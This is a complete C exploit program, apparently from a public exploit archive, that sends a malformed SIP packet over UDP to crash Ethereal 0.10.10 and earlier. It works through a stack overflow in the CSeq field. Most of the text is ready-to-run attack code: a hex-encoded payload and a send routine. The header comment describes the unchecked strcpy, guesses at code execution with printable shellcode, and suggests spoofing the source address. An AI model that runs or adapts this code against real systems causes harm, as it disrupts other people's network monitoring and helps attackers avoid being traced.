Ethereal <= 0.10.10 SIP Dissector Remote Denial of Service Exploit/* ethereal_sip_dos.c - by Shaun Colley <shaun rsc cx>
*
* This code exploits the Ethereal <= 0.10.10 SIP dissector stack overflow
* vulnerability, reported by SecurityLab. See the advisory for more details
* (i.e. fix) -
* <http://www.securitylab.net/ethereal-0-10-10.txt>
*
* This buffer overflow bug is due to a blind copy of the "CSeq" field in a packet
* containing a SIP header.
* If a malformed SIP packet appears on the same interface as the vulnerable
* Ethereal,
* Ethereal will strcpy() the SIP header's CSeq field into a buffer without bounds
* checking.
* This code transmits a SIP header (in a UDP datagram) with an overly long
* CSeq field, which results in a stack overflow because of the strcpy(). It is probably
* possible to execute code, but since Ethereal first validates each byte with an
* 'isalpha' check, shellcode may have to be printable ASCII-only if the bug were
* to be exploited. I am not certain on how easy code execution would be.
* Important things get overwritten during the overflow,
* so the attacker would need to fill them back in themselves.
*
* Ethereal have released a patch. Ethereal 0.10.11 fixes this bug.
*
* syntax: ethereal_sip_dos <host> - where <host> is an address that allows the
* packet to appear on the Ethereal host's interface, i.e. the target's IP address.
*
* This code doesn't spoof the source address - if you care, capture the packet
* and retransmit it with a spoofed source IP address.
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
/* malformed SIP packet */
char sip_packet[] =
"\x4f\x50\x54\x49\x4f\x4e\x53\x20\x73\x69\x70\x3a\x68\x61\x63"
"\x6b\x20\x53\x49\x50\x2f\x32\x2e\x30\x0a\x56\x69\x61\x3a\x20"
"\x53\x49\x50\x2f\x32\x2e\x30\x2f\x55\x44\x50\x20\x63\x70\x63"
"\x31\x2d\x6d\x61\x72\x73\x31\x2d\x33\x2d\x30\x2d\x63\x75\x73"
"\x74\x32\x32\x35\x2e\x6d\x69\x64\x64\x2e\x63\x61\x62\x6c\x65"
"\x2e\x6e\x74\x6c\x2e\x63\x6f\x6d\x3a\x35\x35\x31\x31\x38\x3b"
"\x72\x70\x6f\x72\x74\x0d\x0a\x56\x69\x61\x3a\x20\x53\x49\x50"
"\x2f\x32\x2e\x30\x2f\x55\x44\x50\x20\x68\x61\x63\x6b\x3a\x39"
"\x0a\x46\x72\x6f\x6d\x3a\x20\x73\x69\x70\x3a\x68\x61\x63\x6b"
"\x3b\x74\x61\x67\x3d\x36\x31\x35\x61\x65\x37\x37\x30\x0a\x54"
"\x6f\x3a\x20\x73\x69\x70\x3a\x68\x61\x63\x6b\x0a\x43\x61\x6c"
"\x6c\x2d\x49\x44\x3a\x20\x31\x36\x33\x33\x33\x34\x37\x34\x35"
"\x32\x3a\x20\x68\x61\x63\x6b\x0a\x43\x53\x65\x71\x3a\x20\x61"
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x81\xd9"
"\x04\x28\x0a\x43\x6f\x6e\x74\x61\x63\x74\x3a\x20\x68\x61\x63"
"\x6b\x3a\x39\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x4c\x65\x6e"
"\x67\x74\x68\x3a\x20\x30\x0a\x4d\x61\x78\x2d\x46\x6f\x72\x77"
"\x61\x72\x64\x73\x3a\x20\x37\x30\x0a\x55\x73\x65\x72\x2d\x41"
"\x67\x65\x6e\x74\x3a\x20\x65\x74\x68\x65\x72\x65\x61\x6c\x20"
"\x63\x72\x61\x73\x68\x0a";
int main(int argc, char *argv[]) {
if(argc < 2) {
printf("syntax: %s <host>\n", argv[0]);
return 1;
}
struct sockaddr_in dest;
struct hostent *he;
int sock, slen = sizeof(struct sockaddr);
if((he = gethostbyname(argv[1])) == NULL) {
printf("Couldn't resolve %s\n", argv[1]);
return 1;
}
if((sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) {
perror("socket()");
return 1;
}
dest.sin_port = htons(5060);
dest.sin_family = AF_INET;
dest.sin_addr = *((struct in_addr *)he->h_addr);
if (sendto(sock, sip_packet, sizeof(sip_packet), 0, (struct sockaddr *)&dest, slen)== -1) {
printf("Error sending packet!\n");
return 1;
}
printf("Exploit packet sent..\n");
close(sock);
return 0;
}